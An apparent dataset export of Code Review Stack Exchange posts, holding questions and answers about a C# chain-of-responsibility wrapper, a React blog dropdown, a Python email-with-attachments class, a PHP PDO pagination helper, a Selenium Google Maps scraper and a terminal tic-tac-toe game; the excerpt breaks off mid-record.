body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>I currently have a few "<em>worker services</em>" that wrap existing code to automate incredibly repetitive code. A few examples are:</p>
<ul>
<li>Method analytics.</li>
<li>Iteration support.</li>
<li>Exception logging.</li>
</ul>
<p>My current setup requires me to wrap my code in layers:</p>
<pre><code>AnalyticsService.Run((analyticsContext) => {
IterationService.Run((iterationContext) => {
ExceptionService.Run((exceptionContext) => {
...
DoSomethingCool();
}
}
}
</code></pre>
<p>I'm not a big fan of this, as I have hundreds of methods that need to use these interchangeably. So, after some searching, and posting a question with an XY problem on Stack Overflow, a commenter pointed me in the direction of the chain of responsibility pattern.</p>
<p>I love the pattern, and it looked like it would fit well at first glance, so I wrote up a simple implementation to test it out:</p>
<pre><code>class Program
{
static void Main(string[] args)
{
var testService = new AnalyticsService(new IterationService());
testService.Process((context) =>
{
Console.WriteLine("Comencing test.");
for (int i = 0; i < 100; i++)
if (i % 10 == 0)
Console.WriteLine($"{i}");
context.Exit();
});
Console.WriteLine("Done.");
Console.ReadKey();
}
}
internal interface IEmbeddableServiceContext
{
void Exit();
}
internal sealed class EmbeddableServiceContext : IEmbeddableServiceContext
{
public bool ShouldExit { get; private set; } = false;
public void Exit() => ShouldExit = true;
}
internal abstract class EmbeddableService
{
private EmbeddableService _embeddedService;
public EmbeddableService() { }
public EmbeddableService(EmbeddableService embeddedService) => _embeddedService = embeddedService;
public void Process(Action<IEmbeddableServiceContext> request)
{
if (request == null)
return;
var context = new EmbeddableServiceContext();
Execute(context, (embeddedContext) =>
{
if (_embeddedService != null)
_embeddedService.Process(request);
else
request(context);
});
}
protected abstract void Execute(EmbeddableServiceContext context, Action<IEmbeddableServiceContext> request);
}
internal sealed class AnalyticsService : EmbeddableService
{
public AnalyticsService() { }
public AnalyticsService(EmbeddableService embeddedService) : base(embeddedService) { }
protected override void Execute(EmbeddableServiceContext context, Action<IEmbeddableServiceContext> request)
{
var startTime = DateTime.Now;
request(context);
Console.WriteLine($"Your request took {(DateTime.Now - startTime).TotalMilliseconds}ms to complete.");
}
}
internal sealed class IterationService : EmbeddableService
{
public IterationService() { }
public IterationService(EmbeddableService embeddedService) : base(embeddedService) { }
protected override void Execute(EmbeddableServiceContext context, Action<IEmbeddableServiceContext> request)
{
while (true)
{
request(context);
if (context.ShouldExit)
break;
}
}
}
</code></pre>
<p>The biggest issue I have with this implementation is that the context models are now forced to be combined unless I want a maintenance nightmare. However, I wanted to get some feedback on the current implementation, before I take the next steps into further automating the developer implementation experience.</p>
<p><em><strong>NOTE</strong>: Please don't mind the fact that everything is marked as <code>internal</code> here. That's a separate issue altogether.</em></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T22:16:26.273",
"Id": "520740",
"Score": "1",
"body": "A very small tip: Using `bool ShouldExit` as flag controlling logic isn't a thing to do. In multithreaded/async environment you can catch some issues with that e.g. unpredictable behavior. Try `CancellationToken` instead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T22:23:05.610",
"Id": "520741",
"Score": "1",
"body": "Also just an idea to move: learn something about Rx.NET, looks like the above job can be done with Rx easily. In case Rx is overkill, the alternative idea is Fluent interfaces/extension Linq-like methods."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T22:42:03.007",
"Id": "520742",
"Score": "0",
"body": "@aepot with regard to `ShouldExit`, that's actually allowing the caller to signal that the iteration service should stop iterating. In the original worker service for it, it's a method called `Break` with a property `ShouldBreak`. With regard to your second comment, thank you for the reading material :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T07:01:26.737",
"Id": "520757",
"Score": "1",
"body": "Then signal to stop is coming from another thread. Use thread-safe way to signal, bool isn't safe."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T14:43:39.430",
"Id": "520788",
"Score": "0",
"body": "@aepot I see what you're saying now, sorry about that."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T03:45:08.537",
"Id": "263653",
"Score": "2",
"Tags": [
"c#",
"design-patterns"
],
"Title": "Embedded services using chain of responsibility?"
}
|
263653
|
<p>I wrote this component to be a drop down for blog posts. The <code>index</code> prop is a <code>PostIndex</code> object returned from a query in the parent component. With a single post for this month of June this prop object resembles this shape:</p>
<pre><code>{
hookBoolObj: {
2021: { June: false },
years: { 2021: false }
}
indexDDObj: {
2021: {
June: {
{ _id: "some _id", title: "foo bar" },
more similar objects...
}
}
}
}
</code></pre>
<p>This Index object is updated after every new post creation.</p>
<p>The whole point of this component is to dynamically create a nested drop down that hides or shows months for a year or posts for a month on click.</p>
<p>I'm looking for any feedback on React/Javascript syntax as well as any performance issues you may see.</p>
<pre><code>import mongoose from 'mongoose';
import dateAndTime from 'date-and-time';
import hash from 'object-hash';
import React, { useEffect, useState } from 'react';
const IndexDD = ({
indexShow,
index,
dashboardFeed
}) => {
let copy = JSON.parse(JSON.stringify(index))
let [indexBools, setIndexBools] = useState(copy.hookBoolObj)
const handlePostRows = (month, indexYearObj, hidePosts) => {
if (hidePosts) {
return indexYearObj[month].map(post => {
return (
<div
className='postRow'
key={post._id}
onClick={e => {
e.stopPropagation()
}}
>
<span>{post.title}</span>
<span>
{
dateAndTime.format(
mongoose.Types.ObjectId(post._id).getTimestamp(),
'dddd, DD'
)
}
</span>
</div>
)
})
} else {
return <React.Fragment />
}
}
const handleMonthRows = (year, indexYearObj, hideMonths) => {
if (hideMonths) {
for (var month in indexYearObj) {
return (
<div
className='monthRow'
key={hash({ year: month })}
>
<div
onClick={e => {
e.stopPropagation()
if (!indexBools[year][month]) {
var obj = {...indexBools}
obj[year][month] = true
setIndexBools(indexBools = obj)
} else {
var obj = {...indexBools}
obj[year][month] = false
setIndexBools(indexBools = obj)
}
}}
>
{month}
</div>
{handlePostRows(month, indexYearObj, indexBools[year][month])}
</div>
)
}
} else {
return <React.Fragment/>
}
}
const handleDD = () => {
for (var year in copy.indexDDObj) {
return (
<div
key={year}
onClick={() => {
if (!indexBools['years'][year]) {
var obj = {...indexBools}
obj['years'][year] = true
setIndexBools(indexBools = obj)
} else {
var obj = {...indexBools}
obj['years'][year] = false
setIndexBools(indexBools = obj)
}
}}
>
<div
className='yearRow'
>
{year}
</div>
{handleMonthRows(year, copy.indexDDObj[year], indexBools['years'][year])}
</div>
)
}
}
if (indexShow && !dashboardFeed) {
return (
<div
className='indexDDContainer'
>
{handleDD(setIndexBools, indexBools)}
</div>
)
} else {
return (
<div>
</div>
)
}
}
export default IndexDD;
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T04:13:55.780",
"Id": "263654",
"Score": "0",
"Tags": [
"performance",
"react.js",
"mongodb",
"jsx",
"mongoose"
],
"Title": "nested drop down for blog posts"
}
|
263654
|
<p>The below class implementing a simple way to create emails with attachments, including the option to create in-memory zip files and attach them to the email.</p>
<p>Because I am not a professional programmer but like to write good code I will be glad to get comments. Two main questions do I create proper email headers and proper attachment headers.</p>
<pre><code>import sys,os,smtplib,email,io,zipfile
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import Encoders
class sendmail(object):
def __init__(self):
self.subject=""
self.body=""
self.mail_from=""
self.mail_to=""
self.attachments=[]
self.attachments2zip=[]
def add_body_line(self,text):
self.body="%s\r\n%s"%(self.body,text)
def set_body(self,text):
self.body=text
def new_mail(self,frm,to,sbj):
self.subject=sbj
self.body=""
self.mail_from=frm
self.mail_to=to
self.attachments=[]
self.attachments2zip=[]
def set_subject(self,text):
self.subject=text
def set_from(self,text):
self.mail_from=text
def set_to(self,text):
self.mail_to=text
def add_attachment(self,file):
self.attachments.append(file)
def add_attachment_zipped(self,file):
self.attachments2zip.append(file)
def send(self):
message = MIMEMultipart()
message["From"] = self.mail_from
message["To"] = self.mail_to
message["Subject"] = self.subject
#message["Bcc"] = receiver_email # Recommended for mass emails
message.attach(MIMEText(self.body, "plain"))
if len(self.attachments)>0:#If we have attachments
for file in self.attachments:#For each attachment
filename=os.path.basename(file)
#part = MIMEApplication(f.read(), Name=filename)
part = MIMEBase('application', "octet-stream")
part.set_payload(open(file, "rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"'%(filename))
message.attach(part)
if len(self.attachments2zip)>0:#If we have attachments
for file in self.attachments2zip:#For each attachment
filename=os.path.basename(file)
zipped_buffer = io.BytesIO()
zf=zipfile.ZipFile(zipped_buffer,"w", zipfile.ZIP_DEFLATED)
zf.write(file, filename)
zf.close()
zipped_buffer.seek(0)
part = MIMEBase('application', "octet-stream")
part.set_payload(zipped_buffer.read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s.zip"'%(filename))
message.attach(part)
text = message.as_string()
server = smtplib.SMTP('localhost')
server.sendmail(self.mail_from, self.mail_to, text)
server.quit()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T17:44:45.063",
"Id": "521383",
"Score": "0",
"body": "I rolled back your last edit. After getting an answer you are not allowed to change your code anymore. This is to ensure that answers do not get invalidated and have to hit a moving target. If you have changed your code you can either post it as an answer (if it would constitute a code review) or ask a new question with your changed code (linking back to this one as reference). See the section _What should I not do?_ on [_What should I do when someone answers my question?_](https://codereview.stackexchange.com/help/someone-answers) for more information"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T01:50:40.113",
"Id": "521414",
"Score": "0",
"body": "Why Python 2? It's been deprecated for a while."
}
] |
[
{
"body": "<p>While your sendemail class is small, it does a lot of stuff. It is also not that friendly to use, because you have to create the sendemail object and then set all the parameters with methods. For me an ideal interface would look something like:</p>\n<pre><code>Email(\n Subject="sub",\n Body="body", \n From="from", \n To=["to"], \n Attachments=[file1, file2],\n)\n.send()\n</code></pre>\n<p>You could then have separate file readers which would convert file path to email part:</p>\n<pre><code>class Attachment:\n def __init__(self, path):\n self.path = path\n\n def file(self):\n file = self.__read_file(self.path)\n return convert_to_part(file)\n\n def zip(self):\n file = self.__read_file(path)\n zip_buffer = self.__zip_file(file)\n return convert_to_part(zip_buffer)\n\n def __convert_to_attachment(buffer, filename):\n part = MIMEBase('application', "octet-stream")\n part.set_payload(buffer)\n Encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment; filename="%s.zip"'%(filename))\n return part\n\n def __read_file(self): \n return open(self.path, "rb").read()\n\n def __zip_file(self, file): \n filename=os.path.basename(file)\n zipped_buffer = io.BytesIO()\n zf = zipfile.ZipFile(zipped_buffer,"w", zipfile.ZIP_DEFLATED)\n zf.write(file, filename)\n zf.close()\n zipped_buffer.seek(0)\n return zipped_buffer\n\n</code></pre>\n<p>I am not sure if I refactored everything correctly, but the idea is to use it like:</p>\n<pre><code>Email(\n ...\n Attachments=[Attachment('path').zip()]\n)\n.send()\n</code></pre>\n<p>You could modify the Email to have a builder style attaching:</p>\n<pre><code>class Email:\n ...\n attach(self, attachment):\n self.Attachments.append(attachment)\n\n...\n\nEmail(...)\n.attach(Attachment('path').zip())\n.attach(Attachment('path').file())\n.send()\n</code></pre>\n<p>This leaves you with the following Email class:</p>\n<pre><code>class Email(object):\n def __init__(self, From, To, Subject, Body, **kwargs):\n self.subject = Subject\n self.body = Body\n self.mail_from = From\n self.mail_to = To\n self.attachments = kwargs.get('Attachments', [])\n\n def __build_message(self):\n message = MIMEMultipart()\n message["From"] = self.mail_from\n message["To"] = self.mail_to\n message["Subject"] = self.subject\n \n message.attach(MIMEText(self.body, "plain"))\n \n for part in self.attachments:\n message.attach(part)\n \n return message.as_string()\n \n def send(self):\n message = self.__build_message()\n\n server = smtplib.SMTP('localhost')\n server.sendmail(self.mail_from, self.mail_to, message)\n server.quit()\n</code></pre>\n<p>As you can see, the class Email is now very simple. So simple in fact that it could easily be converted to a function. I come from Java, so objects do not bother me, but for the sake of being principled:</p>\n<pre><code>def build_message(From, To, Subject, Body, **kwargs):\n message = MIMEMultipart()\n message["From"] = From, \n message["To"] = To\n message["Subject"] = Subject\n \n message.attach(MIMEText(Body, "plain"))\n \n for part in self.attachments:\n message.attach(part)\n \n return message.as_string()\n\ndef send_email(From, To, Subject, Body, **kwargs):\n message = build_message(From, To, Subject, Body, **kwargs)\n\n server = smtplib.SMTP('localhost')\n server.sendmail(self.mail_from, self.mail_to, message)\n server.quit()\n</code></pre>\n<p>You could do a similar thing with the Attachment class. So instead of Attachment.file(path) you would make a file_attachment(path) and zip_attachment(path).</p>\n<h1 id=\"edit-p77u\">Edit:</h1>\n<p>To make the code easier to use for the OP, I propose the following utility function(s):</p>\n<pre><code>def build_file_attachments(paths):\n return [Attachment(path).file() for path in paths]\n\ndef build_zip_attachments(paths):\n return [Attachment(path).zip() for path in paths]\n\ndef build_attachments(file_attachment_paths, zip_attachment_paths):\n file_attachments = build_file_attachments(file_attachment_paths)\n zip_attachments = build_zip_attachments(zip_attachment_paths)\n\n return file_attachments + zip_attachments\n\ndef send_email_with_attachments(\n From, \n To, \n Subject, \n Body, \n file_attachment_paths=[], \n zip_attachment_paths=[]\n):\n attachments = build_attachments(file_attachment_paths, zip_attachment_paths)\n\n send_email(From, To, Subject, Body, Attachments=attachments)\n</code></pre>\n<p>Now you would use it the same as your original one, but without the setters and the "spaghetti" you had in your send() method before.</p>\n<pre><code>send_email_with_attachments(\n From="dude@email.com",\n To="dude2@nomail.com",\n Subject="Very important!",\n Body="I wanted to show you something",\n file_attachment_paths=["important-thing-1.jpg"],\n zip_attachment_paths=["important-thing-2/dir"]\n)\n</code></pre>\n<p>If you still find this confusing and hard to use, you can do something similar to what you had originally:</p>\n<pre><code>class Email:\n def __init__(self, from, to, subject):\n self.__from = from\n self.__to = to\n self.__subject = subject\n self.__body = ''\n self.__zips = []\n self.__files = []\n\n def sender(self, from):\n self.__from = from\n return self\n\n def recipient(self, to):\n self.__to = to\n return self\n\n def subject(self, subject):\n self.__subject = subject\n return self\n\n def message(self, body):\n self.__body = body\n return self\n\n def add_new_line(self, line=''):\n self.__body = "%s\\r\\n%s"%(self.body, line)\n return self\n\n def add_zip(self, path):\n self.__zips.append(path)\n return self\n\n def add_file(self, path):\n self.__files.append(path)\n return self\n\n def send():\n send_email_with_attachments(self.from, self.to, self.subject, self.body, self.files, self.zips)\n \n</code></pre>\n<p>You can use this like so:</p>\n<pre><code>email = Email("sender@email.com", "receiver@email.com", "Not so important")\n\nemail.message('Hi,')\nemail.add_new_line()\nemail.add_new_line('actually it is important. Check this out:')\nemail.add_new_line()\n\nemail.add_file('actually-not-important.pdf')\nemail.add_zip('./important')\n\nemail.send()\n</code></pre>\n<p>Which is basically the same as:</p>\n<pre><code>Email("sender@email.com", "receiver@email.com", "Not so important")\n .message('Hi,')\n .add_new_line()\n .add_new_line('actually it is important. Check this out:')\n .add_new_line()\n .add_file('actually-not-important.pdf')\n .add_zip('./important')\n .send()\n</code></pre>\n<p>Choose whichever style you prefer :)</p>\n<p>Email class is now just there to remember the parameters, it has no idea, what needs to be done to actually send the email. The send method now passes the parameters into send_email_with_attachments(), which handles the sending... Kind of...</p>\n<p>It also has no idea how to actually send the email and that is ok, it just delegates the parameters into the functions that know how to do this stuff, which makes it a lot easier to understand. The point of all this is that you want to move lower level stuff (like reading files, zipping, making multipart message, etc.) as far away as possible, so you are able to program at a higher level (closer to natural language).</p>\n<p>The side effect of this is also that you will end up with a ton of reusable code, which you will then be able to use to assemble the higher level code from.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T17:47:41.650",
"Id": "521384",
"Score": "0",
"body": "Thanks for the review. I took the idea of creating separate functions for attaching data and reading/zipping. And while your code looks much more professional, I think my version is more clear for people who write code occasionally, like myself :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T17:55:36.547",
"Id": "521386",
"Score": "0",
"body": "But why? I am not saying that in an arrogant way, I'm genuinely curious what makes you prefer your code (except that you wrote it) :) Also, are you talking about the usability or implementation?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T18:27:16.120",
"Id": "521391",
"Score": "0",
"body": "I am talking mainly about usability. It is not easy to understand how code like Email(...).attach(Attachment('path').zip()).attach(Attachment('path').file()).send() actually works. At least for me. And I didn't know you can break it into multiple lines. For mee adding body line by line more intuitive than writing it single with inline \\n or using <<< that may add unwanted tabs"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T20:19:47.437",
"Id": "521403",
"Score": "0",
"body": "@Alex I have made an edit. Hopefully it is closer to something that you tried to achieve."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T12:24:32.063",
"Id": "521441",
"Score": "0",
"body": "It is now very close to what I currently have, but all functions of your Attachment class are inside the email class because I don't see how you can reuse the Attachment class for something different. I also found that usage of MIMEApplication can shorten the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T14:04:13.917",
"Id": "521447",
"Score": "0",
"body": "You don't reuse the Attachment, you reuse the Email (just change the send method if it is ever needed) :) I have no idea how MIMEApplication actually works, so I just used what you use. The purpose of the Attachment is not necessarily to reuse it (though you totally could), but to abstract away the implementation of attachment parsing behind the API that is internal to your code. If at any point the MIMEApplication changes (for whatever reason), your code will not need to change anywhere except the Attachment class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T14:06:34.640",
"Id": "521448",
"Score": "0",
"body": "While the changes to libs used basically never happens for programs that have close to no life time, it is useful to isolate the lib you use behind you API - so even if you change the lib, your code does not change. I hope I'm not too abstract and what I wrote makes sense to you."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T14:04:58.227",
"Id": "263976",
"ParentId": "263658",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T10:08:52.167",
"Id": "263658",
"Score": "5",
"Tags": [
"python",
"python-2.x",
"email"
],
"Title": "Send email with attachments, including in memory zipped attachments"
}
|
263658
|
<p>The most nauseous problem with pagination is the fact that you have to write two almost identical queries. For the various reasons I am not inclined to use the SQL-only way (such as <code>select count(*) from (original query goes here)</code>). Hence I am trying to modify the original query. Being aware that this method is not fully reliable, I am doing this in a semi-automatic way, offering the automated method for the regular queries with the occasional fallback to setting the count query automatically.</p>
<p>The goal was to make the application code simple and at the same time explicit. The full compatibility with PDO's fetchAll() was a requirement.</p>
<p>The code works perfectly for me so far, but obviously I may have overlooked some edge cases. Also I am not sure about the code distribution between methods.</p>
<p>Here is the code</p>
<pre><code>class Pagination
{
protected PDO $pdo;
protected string $sql;
protected array $params;
protected string $countSql;
protected int $limit = 10;
public function __construct(PDO $pdo, string $sql, array $params = []) {
$this->pdo = $pdo;
$this->sql = $sql;
$this->params = $params;
}
public function setCountQuery(string $sql) {
$this->countSql = $sql;
return $this;
}
public function setLimit(int $limit) {
$this->limit = $limit;
return $this;
}
public function getPageCount():int {
return (int)ceil($this->getNumRecords() / $this->limit);
}
public function getNumRecords() {
$this->countSql = $this->countSql ?? $this->getAutoCountQuery();
$stmt = $this->pdo->prepare($this->countSql);
$stmt->execute($this->params);
return $stmt->fetchColumn();
}
public function getPageData(int $page, $mode = null, ...$fetchAllParams) {
$offset = ($page - 1) * $this->limit;
$limit = (int)$this->limit;
$mode = $mode ?? $this->pdo->getAttribute(PDO::ATTR_DEFAULT_FETCH_MODE);
$sql = "$this->sql LIMIT $offset, $limit";
$stmt = $this->pdo->prepare($sql);
$stmt->execute($this->params);
return $stmt->fetchAll($mode, ...$fetchAllParams);
}
public function getAutoCountQuery() {
$pat = '~^(select)(.*)(\s+from\s+)~i';
return preg_replace($pat, '$1 count(*)$3', $this->sql);
}
}
</code></pre>
<p>And here is a simple testing snippet, assuming you have a working PDO instance</p>
<pre><code>$pdo->query("create temporary table test(i int)");
$pdo->query("insert into test (i) values (1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12)");
$pagination = new Pagination($pdo, "select * from test");
$pagination->setLimit(5);
#$pagination->setCountQuery("select count(*) from test");
$pageCount = $pagination->getPageCount();
$data = $pagination->getPageData(1);
$data2 = $pagination->getPageData(2, PDO::FETCH_COLUMN);
$data3 = $pagination->getPageData(3, PDO::FETCH_CLASS, 'stdClass');
var_dump($pageCount, json_encode($data), json_encode($data2), json_encode($data3));
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T16:47:33.330",
"Id": "520570",
"Score": "1",
"body": "If someone ever feeds in a multi-line sql string, then the dot in the regex _might_ not work as expected. I might suggest `preg_replace('~^select\\K.*?(?=\\s+from\\s)~is', ' COUNT(*)', $this->sql)` Is it too soon to expect the null coalescing assignment operator?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:40:37.983",
"Id": "521131",
"Score": "1",
"body": "Your methods are missing return type hints. Even if you are still on PHP 7.4 I would add them. If that's not possible then at least docblock comments."
}
] |
[
{
"body": "<p>Someone using your class might not be aware that every time the <code>getPageCount()</code> method is used a SQL query is executed. Ideally it should only be executed once. This can be achieved with code like this:</p>\n<pre><code>class Pagination\n{\n protected int $numRecords = -1;\n\n public function getNumRecords() {\n if ($this->numRecords < 0) {\n $this->countSql = $this->countSql ?? $this->getAutoCountQuery();\n $stmt = $this->pdo->prepare($this->countSql);\n $stmt->execute($this->params);\n $this->numRecords = $stmt->fetchColumn();\n }\n return $this->numRecords;\n } \n\n}\n</code></pre>\n<p>I left out all the properties and methods irrelevant to this example.</p>\n<p><em>Question:</em> How can you bind PHP parameters to your queries?</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T14:41:22.180",
"Id": "263777",
"ParentId": "263660",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T10:35:14.777",
"Id": "263660",
"Score": "2",
"Tags": [
"php",
"object-oriented",
"pdo",
"pagination"
],
"Title": "Pagination helper class"
}
|
263660
|
<p>I wrote a python script to scrape google maps for my app. I really want my code to be readable and have tried to follow PEP-8 wherever I could, so I have come to you all for guidance.
It uses selenium webdriver to visit the google maps website in headless chrome. Then, it retrieves the page source and parses it with beautiful soup. I put it all into a class because classes are beautiful in my opinion and I love classes.</p>
<p>I want to make my code cleaner and more understandable, and any kind of suggestions are appreciated. Here is my code:</p>
<pre class="lang-py prettyprint-override"><code>from time import sleep
from io import open
from selenium.webdriver import Chrome, ChromeOptions
from bs4 import BeautifulSoup
class Scraper:
def __init__(self, query: str, latitude: float, longitude: float):
self.options = ChromeOptions()
options.add_argument("--headless")
options.add_argument("--incognito")
self.browser = Chrome(options = self.options)
self.browser.get(f"https://www.google.com/maps/search/{query}/@{latitude},{longitude},15z/")
sleep(0.1)
def run(self):
data = []
soup = BeautifulSoup(self.browser.page_source, "html.parser")
self.browser.quit()
for business in soup.find_all("a", {"class": "a4gq8e-aVTXAb-haAclf-jRmmHf-hSRGPd"}):
business_data = {}
print(f"Scraping {business["aria-label"]}...")
print(f"The URL to {business["aria-label"]} is at {business["href"]}")
business_data["Name"] = business["aria-label"]
business_data["URL"] = business["href"]
temp_browser = Chrome(options = self.options)
temp_browser.get(business["href"])
sleep(0.1)
temp_soup = BeautifulSoup(temp_browser.page_source, "html.parser")
temp_browser.quit()
print(f"Scraped {business["aria-label"]}! Now parsing it...")
print(f"Scraping phone number of {business["aria-label"]}...")
phone_number = temp_soup.find_all("div", {"class": "QSFF4-text gm2-body-2"})
try:
business_data["Phone Number"] = phone_number[0].get_text()
except:
business_data["Phone Number"] = None
print(f"Scraping rating of {business["aria-label"]}...")
rating = temp_soup.find_all("span", {"class": "aMPvhf-fI6EEc-KVuj8d"})
try:
business_data["Rating"] = rating[0].get_text()
except:
business_data["Rating"] = None
print(f"Scraping number of reviews for {business["aria-label"]}...")
num_reviews = temp_soup.find_all("button", {"class": "gm2-button-alt HHrUdb-v3pZbf"})
try:
business_data["Number of reviews"] = num_reviews[0].get_text()
except:
business_data["Number of reviews"] = None
data.append(business_data)
print("Finished entire scraping successfully!")
self.data = dumps(data)
return self.data
def save(self, savepath: str):
with open(savepath, "w") as json_writer:
json_writer.write(self.data)
scraper = Scraper("transistors", 18.5523618, 73.826655)
scraper.run()
scraper.save("data.json")
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T11:54:24.357",
"Id": "263662",
"Score": "2",
"Tags": [
"python",
"web-scraping",
"beautifulsoup",
"selenium",
"google-maps"
],
"Title": "Python script to scrape google maps without API"
}
|
263662
|
<p>As someone that started to learn basic python programming, I decided to make a Python tic-tac-toe game for the terminal, to develop my OOP skills.</p>
<p>I would like to know if my code has a lot of repetition and if it could have been done in a shorter, cleaner, faster, more efficient and more elegant way.</p>
<pre><code>import re
import numpy as np
class Board_Game():
def __init__(self):
self.first_row = " 1 | 2 | 3"
self.second_row = " 4 | 5 | 6"
self.third_row = " 7 | 8 | 9"
self.rows = [self.first_row,
self.second_row,
self.third_row ]
self.markers = {'X': [],
'O': []}
self.positions = [1, 2, 3,
4 ,5 ,6,
7, 8, 9]
self.avaliable_positions = [1, 2, 3,
4 ,5 ,6,
7, 8, 9]
def print_board_coordinates(self):
print('Board Coordinates:\n')
print(" " + self.first_row)
print(" ---|---|---")
print(" " + self.second_row)
print(" ---|---|---")
print(" " + self.third_row)
print('\n')
def _render_row_state(self, row, marker):
for k in marker.keys():
for v in marker[k]:
row = row.replace(str(v), k)
row = re.sub(r'\d', ' ', row)
return row
def print_board(self):
row_states = []
for i , r in enumerate(self.rows):
temp = self._render_row_state(r, self.markers)
row_states.append(temp)
print('Board:\n')
print(" | | ")
print(" " + row_states[0])
print("----|---|----")
print(" " + row_states[1])
print("----|---|----")
print(" " + row_states[2])
print(" | | ")
print('\n')
def mark_board(self, marker, position):
_valid_play = 0
while _valid_play != 1:
if marker not in ['X', 'O']:
print('Wrong marker try again!')
elif position not in self.positions or position not in self.avaliable_positions:
position = int(input('Invalid move, choose another position\n'))
else:
_valid_play = 1
print("Valid play")
self.markers[marker].append(position)
self.avaliable_positions.remove(position)
return position
class Player():
def __init__(self, marker, first_play = False):
assert marker in ['X', 'O'], f'Marker not allowed'
self.marker = marker
self._first_play = first_play
self.owned_positions = []
self.adversary_positions = []
self.avaliable_positions = [1, 2, 3,
4, 5, 6,
7, 8, 9]
self.winner = False
def __repr__(self):
return "Player()"
def __str__(self):
return f"Player {self.marker}"
def make_move(self, position):
mark = self.marker
return mark, position
def ack_own_position(self, position):
self.owned_positions.append(position)
def look_adversary_position(self, position):
self.adversary_positions.append(position)
def look_game_board(self, avaliable_positions):
self.avaliable_positions = avaliable_positions
class Game():
def __init__(self, players, board):
self._players = players
self._board = board
self.winning_condition = [[1, 2, 3],
[4, 5, 6],
[7, 8, 9],
[1, 4, 7],
[2, 5, 8],
[3, 6, 9],
[1, 5, 9],
[3, 5, 7]]
self.game_won = False
self.play_count = 0
self.game_winning_outcome = None
def choose_first_player(self, first_player: int):
"""
"""
self._players[first_player]._first_play = True
self._first_player = first_player + 1
self._player_time = first_player
def _change_player_time(self):
"""
"""
self._player_time = (self._player_time + 1) % 2
self.play_count += 1
def _check_winning_condition(self, player):
"""
"""
for w in self.winning_condition:
if set(w).issubset(player.owned_positions):
player.winner = True
print('Player', player.marker, 'has won')
self.game_won = True
self.game_winning_outcome = player.marker
break
if self.play_count == 8 and not self.game_won:
self.game_winning_outcome = "Draw"
print('DRAW!!!')
def _play_game(self, position):
"""
"""
_player = self._players[self._player_time]
_other_player = self._players[(self._player_time + 1) % 2]
_move = _player.make_move(position)
_mark = _player.marker
# Actions
new_position = self._board.mark_board(_mark, position)
_player.ack_own_position(new_position)
_other_player.look_adversary_position(new_position)
self._check_winning_condition(_player)
# Main Game
# Game beggining who plays first and markers attribution
print('\nPlayer 1 choose between markers X or O')
game_markers = ['X', 'O']
marker_player_1 = input('')
dumb_player_count = 0
while marker_player_1 not in game_markers:
print('You didnt chose a valid marker try again!')
marker_player_1 = input('')
dumb_player_count += 1
if dumb_player_count == 2:
exit('You are boring go play Tibia!')
player_1 = Player(marker_player_1)
marker_player_2 = [_ for _ in game_markers if _ != marker_player_1][0]
player_2 = Player(marker_player_2)
print(f'\nPlayer 1 marker: {player_1.marker}')
print(f'Player 2 marker: {player_2.marker}\n')
board = Board_Game()
game = Game([player_1, player_2], board)
print('Are you going to choose who plays first or should we chose randomly?')
_ = input('press R for randomly picking the first player:\n')
if _ in ['r', 'R']:
idx = np.random.choice([0, 1])
game.choose_first_player(idx)
print(f"\nPlayer {idx + 1} plays first")
else:
_ = input('Press 1 if you want to Player 1 to start:\n')
if _ == '1':
game.choose_first_player(0)
print(f"Player 1 plays first")
else:
game.choose_first_player(1)
print(f"Player 2 plays first")
stop_game = False
while not stop_game:
player = game._player_time + 1
game._board.print_board_coordinates()
game._board.print_board()
move = int(input(f'Player {player} choose a position:\n'))
game._play_game(move)
game._change_player_time()
if game.game_won == True or game.game_winning_outcome == 'Draw':
stop_game = True
game._board.print_board()
</code></pre>
|
[] |
[
{
